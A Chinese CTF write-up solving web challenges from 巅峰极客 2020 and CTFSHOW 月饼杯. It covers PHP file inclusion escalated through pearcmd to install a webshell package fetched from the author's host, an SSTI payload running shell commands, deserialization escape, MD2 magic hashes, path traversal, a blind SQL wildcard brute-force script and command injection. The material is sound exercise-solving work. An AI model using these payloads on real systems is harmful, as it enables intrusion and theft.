巅峰极客 2020 & CTFSHOW 月饼杯
巅峰极客 2020
MeowWorld
首先看 hint register_argc_argv
,打开环境之后发现在 index.php
有一个简单的文件包含。用 PHP 伪协议读取一圈文件,发现如下内容。
<?php
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>
根据 hint 可知,argc
和 argv
两个参数可以指定,参考 这篇文章 可以知道接下来需要做什么。既然要用 pearcmd
,当然是首先读一手源码,于是利用上面的构造读取出 pearcmd
的源码,找到关键部分如下。
/**
* Safely read the $argv PHP array across different PHP configurations.
* Will take care on register_globals and register_argc_argv ini directives
*
* @return mixed the $argv PHP array or PEAR error if not registered
*/
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
}
可以发现 argv
会被当成参数返回,于是构造 ?f=pearcmd&argv=2+list
,得到回显如下,于是按照文章上的指引,准备一个包。
首先下载 这个包,然后在 Archive_Tar-1.4.0/Archive
下增加一个一句话木马的 PHP 文件 zit.php
。然后将 ./package.xml
文件中的 <content>
节点对应修改如下。
<contents>
<dir name="/">
<file baseinstalldir="/" md5sum="89b230679f31da6f8dbdea25095f4ca9" name="Archive/Tar.php" role="php" />
<file baseinstalldir="/" md5sum="7cc168393304c0c9c0de96d5e5e318e0" name="Archive/zit.php" role="doc" />
<file baseinstalldir="/" md5sum="2fb90f0be7089a45c09a0d1182792419" name="docs/Archive_Tar.txt" role="doc" />
</dir>
</contents>
将整个包按原格式压缩还原为 tar.gz
,然后上传至服务器获取支链 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
。接下来构造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
,得到包安装成功的回显 install ok: channel://pear.php.net/Archive_Tar-1.4.0
。
此时只需要找到 zit.php
的路由即可,随便输入一个之后看到报错中的关键信息 include_path='.:/usr/local/lib/php'
,于是拼合包的路径之后访问 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit
拿到 shell 的路由。使用蚁剑连接上去,可以看到 /readflag
。
执行 /readflag
时发现需要计算算术题,但是默认的虚拟终端没有交互,于是使用 perl 脚本完成这一步。在 /tmp/tmp
目录下写入脚本并执行即可得 flag。
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,11);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
babyflask
看界面,老 Whoami 了。直接看请求,发现是 SSTI,一套标准拳打出,拿到 flag。
.../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
CTFSHOW 月饼杯
此夜圆
return str_replace('Firebasky', 'Firebaskyup', $string);
此处造成了简单的反序列化逃逸,Firebasky
被替换成 Firebaskyup
,字符多出两个。需要构造的反序列化字符串可以写成这样。
O:1:"a":2:{s:5:"uname";s:(这里是长度):"(这里是用户名)";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
总共填充了 30 个字符 ";s:8:"password";s:5:"yu22x";}
,因此需要 15 次替换才能将这 30 个字符变成后面的反序列化内容。
于是构造出这样的 payload.
?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}
故人心
level 1
使用科学计数法表达一个极小的小数,采用 1e-199
。
level 2
访问 .../robots.txt
可以发现 hinthint.txt
进而找到如下提示。
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
于是写个脚本跑一下 b
和 c
。
<?php
for($i = 0;$i <= 999;$i++){
$b = sprintf("0e%03d",$i) . "024452";
if($b == hash("md2",$b)){
echo "b = " . $b . "\n";
break;
}
}
for($i = 0; $i <= 9999;$i++){
$c = sprintf("0e%04d",$i) . "48399";
if($c == hash("md2",hash("md2",$c))){
echo "c = " . $c . "\n";
break;
}
}
得到 b = 0e652024452,c = 0e603448399
。
level 3
php 会把无法解析的协议当成目录
因此,结合目录穿越就能读到 flag。
lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt
莫负婵娟
首先看一手页面源码,得到这样的 hint,用户名是 yu22x
。
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
结合题目描述的 hint 环境变量 +linux字符串截取 + 通配符
,尝试一波 SQL 的通配符。
依照上图的结果构造一波 payload 发现当 password
参数为 6_______________________________
时回显是不一样的,于是写个脚本跑出密码。
<?php
const ASCII_START = 32;
const ASCII_END = 127;
$result = "6";
for($i = 0; $i < 31;$i++){
$p = sprintf("%0" . (30 - $i) . "d",0);
if($i == 30){
$p = "";
}
$p = str_replace("0","_",$p);
for($j = ASCII_START;$j <= ASCII_END;$j++){
if($j == 95){
continue; //no "_" to be matched
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, '.../login.php');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$postData = array("password" => $result . chr($j) . $p, "username" => "yu22x");
$postData = http_build_query($postData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
$outcontent = curl_exec($ch);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
printf("Now j is %d,string is %s\n",$j,$result . chr($j) . $p);
if(strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!") || $httpCode == 302){
$result .= chr($j);
echo $result;
break;
}
}
}
可以得到密码为 67815b0c009ee970fe4014abaa3Fa6A0
。
New Section
使用环境变量截取出 nl ????.???
的指令读取 flag.php
。
1.1.1.1;${PATH:14:1}
$ {PATH:5:1} ????.???